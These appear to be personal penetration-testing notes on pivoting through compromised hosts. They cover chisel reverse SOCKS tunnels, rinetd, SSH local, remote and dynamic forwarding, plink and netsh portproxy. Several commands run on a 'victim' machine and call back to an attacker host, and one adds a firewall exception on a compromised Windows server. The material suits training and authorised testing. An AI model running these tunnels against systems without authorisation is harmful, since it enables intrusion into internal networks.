# Chisel (HTTP Tunnelling)

* On attacker, ./chisel server -p 3477 --socks5 --reverse
* On victim, Transfer chisel.exe on window, .\chisel.exe client <attacker-ip>:3477 R:5000:socks
* Configure **proxychain4.conf ,** socks5 127.0.01 5000
* proxychains -q <tool>

**Reference:**

<https://medium.com/geekculture/chisel-network-tunneling-on-steroids-a28e6273c683>

Download <https://github.com/jpillora/chisel/releases/tag/v1.7.3>

# Port Forwarding with Rinetd tool

To make it clear, we have the following machines: Machine1 - IP: 111.111.111.111 - Behind firewall, and wants to connect to Machine3 which can’t be connected directly. Machine2 - IP: 222.222.222.222 - Forwards incomming connections to Machine3 Machine3 - IP: 333.333.333.333 on port 21 as machine2 has access to connect to machine 3. Here, machine2 act like gateway b/w other

* Now, login to to **machine2** which has rinetd tool installed
* nano /etc/rinetd.conf and below line

# bindadress bindport connectaddress connectport

111.111.111.111 80 333.333.333.333 21

* This will forward connection received from ip 111.111.111.111 on port 80 to ip 333.333.333.333 port 21 . ALso , instead of 111.111.111.111 , **0.0.0.0** can be used to receive connection from any ip on port 80 to ip 111.111.111.111
* sudo service rinetd restart
* ss -antp | grep "80” to check if config is successful
* Now, login to **machine1** & connect to **machine2** on port 80 nc -nv 222.222.222.222 80
* Instead of ip 222.222.222.222 , we will be connected to **machine3**

# Local port forwarding

ssh -L <local-port>:<target-ip>:<target-port <user>@<ssh-ip> -fN

Suppose we have SSH access to 172.16.0.5 & there is window server with ip 192.168.1.110 on port 445.

We can access using tools like netcat / smbclient on attacker local port by tunelling. -L for port forwarding -f background shell -N tell ssh not to execute any command

On attacker machine, ssh -L 445:192.168.1.110:445 [student@172.16.0.5](mailto:student@172.16.0.5) -fN

On attacker machine , if we use smbclient , it will be connected to 192.168.1.110 smbclient -L 127.0.0.1 -U Administrator

<aside>

</aside>

# Remote Port Forwading

In case , we have shell to 172.65.0.5 but inbound ssh service is prohibited than we can tunnel by outbound ssh on attacker machine(172.80.0.1) to any vulnerable service on target like 192.162.1.2 on port 8080

* Enable ssh on attacker machine systemctl start ssh
* On compromised machine, here R is for remote ssh -R <attacker-local-port>:<target-ip>:<target-port> <user>@<attacker-ip> -fN ssh -R 8000:192.162.1.2:8080 [user@172.80.0.1](mailto:user@172.80.0.1) -fN
* To check if tunnelling is successful. On attacker machine ss -antp | grep "8080” sudo nmap -sS -sV 127.0.0.1 -p 8080

# Dynamic Port Forwarding

In case , compromised machine(172.56.1.1) has multiple internal networks(192.162.1.1 & 162.65.1.1) and ports , then dynamic port fowarding on attacker machine(111.11.11.11) is used for both local and remote method

Both method on attacker port 8000

Local

ssh -D 8000 [user@172.56.1.1](mailto:user@172.56.1.1) -fN

Remote

on compromised machine, ssh -R 8000 [attacker@111.11.11.11](mailto:attacker@111.11.11.11) -fN (enable ssh on attacker)

Configure port 8000 on config file of proxychains cat /etc/proxychains.conf socks4 127.0.0.1 8000

Now , use proxychain with any tool to port forward to any service like proxychains nmap -sV 192.162.1.1

proxychains nmap -sV 162.65.1.1

# Plink for window

* Scanning [localhost](http://localhost) on window netstat -anpb TCP
* cmd.exe /c echo y | plink.exe -ssh -l kali -pw ilak 10.11.0.4 -R 10.11.0.4:1234:127.0.0.1:3306 plink.exe to connect via SSH (-ssh) to our Kali machine (10.11.0.4) as the kali user (-l kali) with a password of "ilak" (-pw ilak) to create a remote port forward (-R) of port 1234 (10.11.0.4:1234) to the MySQL port on the Windows target (127.0.0.1:3306) . The first time plink connects to a host, it will attempt to cache the host key in the registry. However, since this will most likely not work with the interactivity level we have in a typical reverse shell, we should pipe the answer to the prompt with the cmd.exe /c echo y command.
* Check on kali, sudo nmap -sV 127.0.0.1 -p 1234

# Netsh for window

Window is compromised with privilege escalation. in addition to being connected to the current network (10.11.0.x), it has an additional network interface that seems to be connected to a different network (192.168.1.x). In this internal subnet, we identify a Windows Server 2016 machine (192.168.1.110) that has TCP port 445 open. (there are certain requirement which can be read in oscp material)

* we will use the netsh (**interface**) context to **add** an IPv4-to-IPv4 (**v4tov4**) proxy (**portproxy)** listening on 10.11.0.22 (**listenaddress=10.11.0.22**), port 4455 (**listenport=4455**) that will forward to the Windows 2016 Server (**connectaddress=192.168.1.110**) on port 445 (**connectport=445**): netsh interface portproxy add v4tov4 listenport=4455 listenaddress=10.11.0.22 connectport=445 connectaddress=192.168.1.110
* Firewall will disallow inbound connections on TCP port 4455 which can be solved by adding rule netsh advfirewall firewall add rule name="forward\_port\_rule" protocol=TCP dir=in localip=10.11.0.22 localport=4455 action=allow
* configure samba on linux [Local port forwarding](https://www.notion.so/Local-port-forwarding-ea185d289c344f28a55bea1fac11fa43)
* check tunnelling success, smbclient -L 10.11.0.22 --port=4455 --user=Administrator
* It will show a error, this error prohibits us from listing workgroups but it does not impact our ability to mount the share